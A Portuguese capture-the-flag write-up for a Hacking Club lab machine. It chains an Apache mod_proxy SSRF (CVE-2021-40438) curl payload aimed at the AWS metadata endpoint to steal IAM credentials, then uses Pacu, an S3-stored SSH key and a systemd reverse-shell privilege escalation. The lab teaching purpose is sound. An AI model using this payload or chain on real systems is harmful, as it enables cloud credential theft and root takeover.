Você está na página 1de 11

Write-Up - IAM

Write-up iam

Sobre Hacking Club


Hacking Club é uma plataforma para aprender cybersecurity, hacking e CTF na prática. Um recurso incrível se você não sabe
por onde começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades, e
acesso a uma comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente!

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.

Ports:

Porta 22 - SSH

Porta 111 - RCPBIND

Porta 139 - NETBIOS-SSN

Porta 445 - SAMBA

Porta 3306 - MYSQL

Olhando a porta 80 vemos que a versão do Apache é 2.4.48

Write-Up - IAM 1
Essa versão do Apache é vulnerável a SSRF no mod_proxy do apache2, estarei deixando um link com mais informações
detalhadas:

Write-Up - IAM 2
Building a POC for CVE-2021-40438
If you're blue team and want to know what an exploit for this looks like for filtering purposes I've added that
information for you in the conclusions section. While working on one of the Insane machines on Hack The
Box I came across a scenario in which the SSRF in mod_proxy of apache2 could have potentially been the
https://firzen.de/building-a-poc-for-cve-2021-40438

Como o nome da máquina já nos dá uma HINT (IAM), podemos consultar a instância e recuperar informações específicas do
AWS EC2 e, no pior dos casos, credenciais temporárias anexadas ao AWS EC2.

Podemos então acessar a instância de metadados, disponível por meio de um endereço IP de intervalo APIPA sobre HTTP—
http://169.254.169.254/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

Poc:

/?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Or

curl "http://<site>/?unix:$(python3 -c 'print("A"*7701, end="")')|http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Iremos então enviar a Poc, estarei utilizando o BurpSuite para interceptar a nossa requisição, assim podemos manipula-lá com
facilidade.

Write-Up - IAM 3
Enviarei a requisição para o Repeater.

E temos o nome da Role (MACHINE_IAM_ROLE), iremos enviar a requisição novamente passando o nome da ROLE

http://169.254.169.254/latest/meta-data/iam/security-credentials/MACHINE_IAM_ROLE

Write-Up - IAM 4
E aqui temos as credenciais temporárias anexadas ao AWS EC2

Estarei utilizando a ferramenta Pacu

Pacu é uma estrutura de exploração de código aberto da AWS, projetada para testes de segurança ofensivos em ambientes
de nuvem. Criado e mantido pelo Rhino Security Labs, o Pacu permite que os Pentesters explorem as falhas de configuração
em uma conta da AWS, usando módulos para expandir facilmente sua funcionalidade. Os módulos atuais permitem uma

Write-Up - IAM 5
variedade de ataques, incluindo escalonamento de privilégios de usuário, backdoor de usuários IAM, ataques a funções
Lambda vulneráveis e muito mais.

GitHub - RhinoSecurityLabs/pacu: The AWS exploitation framework, designed for testing the security of Amazon Web Services environments.
Update 5/4/2021: We recently added support for installing via pip, take a look at the Installation section for running pacu when installed with pip. If you want to
run pacu directly from the checked out repo you'll want to use ./cli.py instead of python3 pacu.py.

https://github.com/RhinoSecurityLabs/pacu

Com o Pacu aberto irei rodar o comando set_keys para setar as chaves de acesso, que são:

AccessKeyID

SecretAccessKey

Token

Agora iremos utilizar o comando console que irá gerar uma url de acesso a AWS web console, assim podemos navegar pela
a interface gráfica do website.

Write-Up - IAM 6
Acessando a AWS web console, iremos em S3 e vamos acessar o bucket → machine-iam-bucket, que é onde temos acesso
de leitura.

Acessando o bucket, temos a nossa primeira flag e uma chave de usuário → op-user-key.pem

Write-Up - IAM 7
Tentaremos se conectar no ssh utilizando essa chave privada.

E temos acesso, rodando o comando sudo -l podemos ver que temos permissão de executar dois comandos como root sem
precisar passar a senha

(ALL : ALL) NOPASSWD: /bin/systemctl restart httpd

(ALL : ALL) NOPASSWD: /bin/systemctl daemon-reload

Write-Up - IAM 8
httpd é o programa do servidor Apache HyperText Transfer Protocol (HTTP). Ele é projetado para ser executado como um

processo daemon independente. Quando usado dessa forma, ele criará um pool de processos-filho ou threads para lidar com
as solicitações.

O processo de privilege escalation aqui é bem simples, podemos editar o arquivo httpd.service inserindo uma reverse shell
na variável ExecStart . Para isso temos que ter permissão de escrita no arquivo httpd.service.
Então vamos lá, primeiro temos que localizar o arquivo httpd.service, e para isso usaremos o seguinte comando:

find / -type f -iname "httpd.service" 2>/dev/null

Localizando o path do arquivo iremos edita-ló, colocando nossa reverse shell.

Write-Up - IAM 9
Ouvinte do netcat para recebermos a conexão

Agora iremos executar os seguintes comandos:

sudo /bin/systemctl daemon-reload

sudo /bin/systemctl restart httpd

Write-Up - IAM 10
E recebemos a nossa conexão reversa com o usuário root 😀

Write-Up - IAM 11

Você também pode gostar